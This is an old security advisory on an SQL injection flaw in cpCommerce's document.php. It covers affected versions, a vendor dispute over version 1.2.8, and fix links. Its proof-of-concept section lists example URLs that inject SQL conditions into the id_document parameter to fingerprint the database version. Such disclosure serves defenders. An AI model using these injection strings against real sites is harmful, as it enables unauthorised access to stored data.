cpCommerce 'document.php' SQL Injection Vulnerability
BID:34556
Info
cpCommerce 'document.php' SQL Injection Vulnerability
| Bugtraq ID: | 34556 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 16 2009 12:00AM |
| Updated: | Apr 22 2009 11:46PM |
| Credit: | NoGe |
| Vulnerable: |
cpCommerce cpCommerce 1.2.6 cpCommerce cpCommerce 1.2.4 cpCommerce cpCommerce 1.2.3 cpCommerce cpCommerce 1.1 cpCommerce cpCommerce 0.5 f |
| Not Vulnerable: |
cpCommerce cpCommerce 1.2.7 |
Discussion
cpCommerce 'document.php' SQL Injection Vulnerability
cpCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
cpCommerce 1.2.8 is vulnerable; other versions may also be affected.
UPDATE (April 21, 2009): The vendor refutes this issue, stating that the vulnerability described does not affect cpCommerce 1.2.8. However, versions prior to 1.2.7 are affected.
cpCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
cpCommerce 1.2.8 is vulnerable; other versions may also be affected.
UPDATE (April 21, 2009): The vendor refutes this issue, stating that the vulnerability described does not affect cpCommerce 1.2.8. However, versions prior to 1.2.7 are affected.
Exploit / POC
cpCommerce 'document.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[path]/document.php?id_document=[SQL
http://www.example.com/[path]/document.php?id_document=1 and substring(@@version,1,1)=4
http://www.example.com/[path]/document.php?id_document=1 and substring(@@version,1,1)=5
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[path]/document.php?id_document=[SQL
http://www.example.com/[path]/document.php?id_document=1 and substring(@@version,1,1)=4
http://www.example.com/[path]/document.php?id_document=1 and substring(@@version,1,1)=5
Solution / Fix
cpCommerce 'document.php' SQL Injection Vulnerability
Solution:
UPDATE (April 21, 2009): The vendor refutes this issue, stating that the vulnerability described does not affect cpCommerce 1.2.8. However, versions prior to 1.2.7 are affected.
Contact the vendor for more information.
cpCommerce cpCommerce 0.5 f
cpCommerce cpCommerce 1.1
cpCommerce cpCommerce 1.2.3
cpCommerce cpCommerce 1.2.4
cpCommerce cpCommerce 1.2.6
Solution:
UPDATE (April 21, 2009): The vendor refutes this issue, stating that the vulnerability described does not affect cpCommerce 1.2.8. However, versions prior to 1.2.7 are affected.
Contact the vendor for more information.
cpCommerce cpCommerce 0.5 f
-
cpCommerce cpCommerce 1.2.8
http://cpcommerce.cpradio.org/downloads.php?action=download
cpCommerce cpCommerce 1.1
-
cpCommerce cpCommerce 1.2.8
http://cpcommerce.cpradio.org/downloads.php?action=download
cpCommerce cpCommerce 1.2.3
-
cpCommerce cpCommerce 1.2.8
http://cpcommerce.cpradio.org/downloads.php?action=download
cpCommerce cpCommerce 1.2.4
-
cpCommerce cpCommerce 1.2.8
http://cpcommerce.cpradio.org/downloads.php?action=download
cpCommerce cpCommerce 1.2.6
-
cpCommerce cpCommerce 1.2.8
http://cpcommerce.cpradio.org/downloads.php?action=download